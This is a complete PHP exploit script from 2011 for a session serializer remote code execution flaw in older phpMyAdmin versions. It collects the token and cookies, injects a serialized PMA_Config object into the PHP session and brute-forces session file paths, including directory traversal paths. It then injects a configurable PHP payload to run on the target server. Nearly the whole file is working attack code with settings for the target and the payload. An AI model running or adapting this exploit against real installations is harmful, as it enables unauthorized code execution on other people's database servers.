 <?php
/*
phpMyAdmin < 3.3.10.2 & < 3.4.3.1 Session Serializer arbitrary PHP code execution exploit
by M4g, ICQ 884888, http://snipper.ru, (c) 2011
---
PHP depending and settings on the target PMA installation: magic_quotes_gpc = off, PHP <= 5.2.13 & PHP <= 5.3.2
---
Links & Thanks:
0. http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/
1. http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html
2. https://rdot.org/forum/showthread.php?t=286
3. http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
4. http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
*/

/*Settings*/
$pmaurl = 'http://127.0.0.1/phpmyadmin'; //full PMA url
$payload = '<?php phpinfo(); ?>'; //PHP code to execute
/*Settings*/

/*-------------------------------------------EXPLOIT CODE-------------------------------------------*/

$count_redirects = 0;
$max_redirects = 5;

//отправляем http-данные
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent, other headers, timeout, what to show = (0-all, 1-body, 2-headers), redirect = 0|1
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8', $other_headers= '', $timeout = 30, $show = 0, $follow_redirect=0)
    {
    global $count_redirects,$max_redirects;
    $return = '';
    $feof_count = 0;

    $parsed_url = parse_url($url);
    $site = $parsed_url['host'];
    $path = $parsed_url['path'];
    $query = $parsed_url['query'];

    if(preg_match('@_$@i',$query) && !preg_match('@_$@i',$url))
        $query = rtrim($query,'_');

    if(preg_match('@_$@i',$path) && !preg_match('@_$@i',$url))
        $path = rtrim($path,'_');

    ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
    ($method == 'GET' && !empty($query) && empty($data)) ? $path .= '?'.$query : '';
    ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';

    if($fp = fsockopen($site, 80, $errno, $errstr, $timeout))
        {
        ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
           $out .= "Host: $site\r\n";
          $out .= "Content-type: application/x-www-form-urlencoded\r\n";
             $out .= "Connection: Close\r\n";
           $out .= "User-Agent: $ua_string\r\n";
           !empty($referer_string) ? $out .= "Referer: $referer_string\r\n" : '';
           !empty($cookie_string) ? $out .= "Cookie: $cookie_string\r\n" : '';
        !empty($other_headers) ? $out .= $other_headers : '';
        ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
        ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);

        while (!feof($fp))
            {
            if($feof_count >=10000)
                break;

            $return .= fread($fp, 4800);
            ++$feof_count;
            }

        fclose($fp);

        if($follow_redirect)
            {
            if($count_redirects<$max_redirects)
                {
                if(preg_match('@Location: (.+)@i',$return,$redirect_match))
                    {
                    $count_redirects++;
                    $return = send_data($method, $redirect_match[1], $data, $referer_string, $cookie_string, $ua_string, $other_headers, $timeout, $show, $follow_redirect);
                    $count_redirects = 0;
                    }
                }
            else
                return 'Max redirects = '.$max_redirects;
            }

        if($show == 1)
            {
            $return = explode("\r\n\r\n",$return);
            $return = $return[1];
            }
        elseif($show == 2)
            {
            $return = explode("\r\n\r\n",$return);
            $return = $return[0];
            }

        return $return;
        }
    else
        return array('errno' => $errno, 'errstr' => $errstr);
        }

$pmaurl = rtrim($pmaurl,'/').'/index.php';

//Regards to asddas
$sess_path = array('C:/xampp/tmp/',
'/tmp/',
                   '/var/tmp/',
                   '/var/lib/php/',
                   '/var/lib/php4/',
                   '/var/lib/php5/',
                   '/var/lib/php/session/',
                   '/var/lib/php4/session/',
                   '/var/lib/php5/session/',
                   '/shared/sessions',
                   '/var/php_sessions/',
                   '/var/sessions/',
                   '/tmp/php_sessions/',
                   '/tmp/sessions/',
                   '../../../tmp/',
                   '../../../../tmp/',
                   '../../../../../tmp/',
                   '../../../../../../tmp/',
                   '../../../../../../../tmp/',
                   '../../../temp/',
                   '../../../../temp/',
                   '../../../../../temp/',
                   '../../../../../../temp/',
                   '../../../../../../../temp/',
                   '../../../sessions/',
                   '../../../../sessions/',
                   '../../../../../sessions/',
                   '../../../../../../sessions/',
                   '../../../../../../../sessions/',
                   '../../../phptmp/',
                   '../../../../phptmp/',
                   '../../../../../phptmp/',
                   '../../../../../../phptmp/',
                   '../../../../../../../phptmp/'
                   );

//1. Token, Session name and Cookies
$token_page = send_data('GET',$pmaurl);

preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);

$token = $token_array[1];

preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);

$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);

preg_match('@phpMyAdmin=([a-z0-9]{32,40});?@is',$token_page,$session_array);

$session = $session_array[1];

//2. Inject into session testing

$sess_test_page = '';
$o = 0;
$good_inj = false;

do
    {
    $inj = $sess_path[$o].'sess_'.$session;
    $query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($inj).':"'.$inj.'";}}');
    $sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);
    $sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaurl,$cookie_array);

    if(stristr($sess_test_page2,'PMA_Config'))
        {
        $good_inj = $inj;
        flush();
        print '[+] '.$inj.' - good path'."\n";
        break;
        }
    else
        {
        flush();
        print '[-] '.$inj.' - bad path'."\n";
        }
    $o++;
    }
while($o < count($sess_path));

if($good_inj)
    {
    $query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($good_inj).':"'.$good_inj.'";}}').'&_SESSION[payload]='.urlencode($payload);
    $sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);
    $sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaurl,$cookie_array);

    print $sess_test_page2;
    }
else
    die('[+] Session path was not found');